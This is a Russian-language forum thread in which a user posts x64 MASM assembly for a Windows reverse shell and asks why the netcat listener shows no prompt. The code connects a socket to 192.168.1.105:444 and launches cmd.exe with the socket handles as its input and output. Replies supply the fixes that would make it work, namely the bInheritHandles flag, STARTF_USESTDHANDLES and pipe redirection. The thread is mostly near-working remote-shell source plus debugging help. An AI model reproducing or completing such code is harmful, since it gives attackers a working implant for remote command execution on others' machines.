Всем доброго времени суток, я пытаюсь написать код реверс шелла - самый стандартный вариант с связыванием cmd и сокета . Ошибок нет - сокет создается, конект на него проходит, cmd стартует -но в консоли нетката нет самого приглашения ОС: C:\Users\myuser\NETCAT>nc.exe -lvp 444 listening on [any] 444 ... connect to [192.168.1.105] from DESKTOP-2E15R3U [192.168.1.105] 18433 что сделано не так в коде? Код (ASM): ;ml64.exe reverse_tcp_MASM.asm /link /subsystem:console /entry:main /LIBPATH:"C:\Program Files (x86)\Windows Kits\10\Lib\10.0.18362.0\um\x64" /defaultlib:kernel32.lib /defaultlib:WS2_32.lib extrn CreateProcessA : proc extrn ExitProcess : proc extern WSAStartup : proc extern WSASocketA : proc extern connect : proc PROCESS_INFORMATION struct hProcess qword ? hThread qword ? dwProcessId dword ? dwThreadId dword ? PROCESS_INFORMATION ends STARTUPINFOA struct cb qword sizeof ( STARTUPINFOA ) lpReserved qword ? lpDesktop qword ? lpTitle qword ? dwX dword ? dwY dword ? dwXSize dword ? dwYSize dword ? dwXCountChars dword ? dwYCountChars dword ? dwFillAttribute dword ? dwFlags dword ? wShowWindow word ? cbReserved2 word 3 dup ( ? ) lpReserved2 qword ? hStdInput qword ? hStdOutput qword ? hStdError qword ? STARTUPINFOA ends .const NORMAL_PRIORITY_CLASS equ 020h .data processInfo PROCESS_INFORMATION <> startupInfo STARTUPINFOA <> ;szProcName db "C:\Windows\System32\calc.exe", 00h szProcName db "C:\Windows\System32\cmd.exe", 00h .code main proc ;-------------------------------------- ;WSAStartup(514,&WSADATA)) and rsp,0FFFFFFFFFFFFFFF0h sub rsp,20h xor rdx,rdx mov dx,408h ; sub rsp,rdx lea rdx,[rsp] xor rcx,rcx sub rsp,88h mov cx,514 call WSAStartup ;------------------------------------------------------- ;WSASocketA(2,1,6,0,0,0) mov dword ptr [rsp+28h],0 mov dword ptr [rsp+20h],0 mov r9d,0 mov r8d,6 mov edx,1 mov ecx,2 call WSASocketA mov r13,rax ;r13=SOCKET ;------------------------------------------- ;connect(SOCKET,(struct sockaddr *)&struct sockaddr_in,16) and rsp,0FFFFFFFFFFFFFFF0h sub rsp,28h xor r8,r8 push r8 push r8 mov [rsp], byte ptr 2 mov [rsp+2],word ptr 0bc01h ;port 444 mov [rsp+4],dword ptr 6901a8c0h ;192.168.1.105 lea r12,[rsp] sub rsp,88 c: mov rdx,r12 ; struct <2, 0bb01h, 6801a8c0h> mov rcx,r13 ; SOCKET mov r8b,10h ; 16 bytes call connect xor r8,r8 cmp rax,r8 jnz c ;------------------------------------------- ;CreateProcessA sub RSP, 28h and RSP, 0FFFFFFFFFFFFFFF0h lea rbx, startupInfo mov dword ptr [rbx],68h mov qword ptr [rbx+50h],r13 mov qword ptr [rbx+58h],r13 mov qword ptr [rbx+60h],r13 lea rax, processInfo push rax push rbx push 00h push 00h push NORMAL_PRIORITY_CLASS push 00h sub rsp, 20h mov r9, 00h mov r8, 00h mov rdx, 00h lea rcx, szProcName call CreateProcessA xor rcx, rcx call ExitProcess main endp end
Код делает следующее: 1) создает и коннектит клиентский сокет 2) запускает cmd. Никуда транслировать никакое приглашение такой код не будет и не должен. Если я правильно понимаю что вы хотите, вам нужно создать пайп, перенаправить в него I/O от cmd, читать(писать) этот пайп и полученное отправлять по tcp. PS: топик для Beginners, в крайнем случае Win32. --- Сообщение объединено, 26 янв 2022 --- UPD: хотя я хз, может можно использовать хендл сокета сразу как пайп, позволяет ли это винда. Попробуйте bInheritHandles флаг выставить и не глушить родительский процесс. --- Сообщение объединено, 26 янв 2022 --- + STARTF_USESTDHANDLES
- думаю что да именно так это и должно работать. Я сделал программу на С++ которая делает тоже самое - и там как раз в hStdInput qword ? hStdOutput qword ? hStdError qword ? передается сокет. Собственно, я сделал по аналогии. насчет bInheritHandles + STARTF_USESTDHANDLES - спасибо, попробую.
А зачем думать и строить догадки как пользоваться апями венды? https://docs.microsoft.com/en-us/wi...sthreadsapi/ns-processthreadsapi-startupinfoa
Сокеты в винде весьма странный фрукт, не факт что они дуплицируются/наследуются, а в новом процессе вполне могут отвалиться по той причине что WSAStartup не вызывалась. --- Сообщение объединено, 26 янв 2022 --- Я даже не удивлюсь, если такой подход работает по разному в зависимости от версии.
ormoulu, по идее же сокеты - обычные хендлы, или нет? Как там в ядре, не знаю, но так то можно работать с ними обычными WriteFile/ReadFile.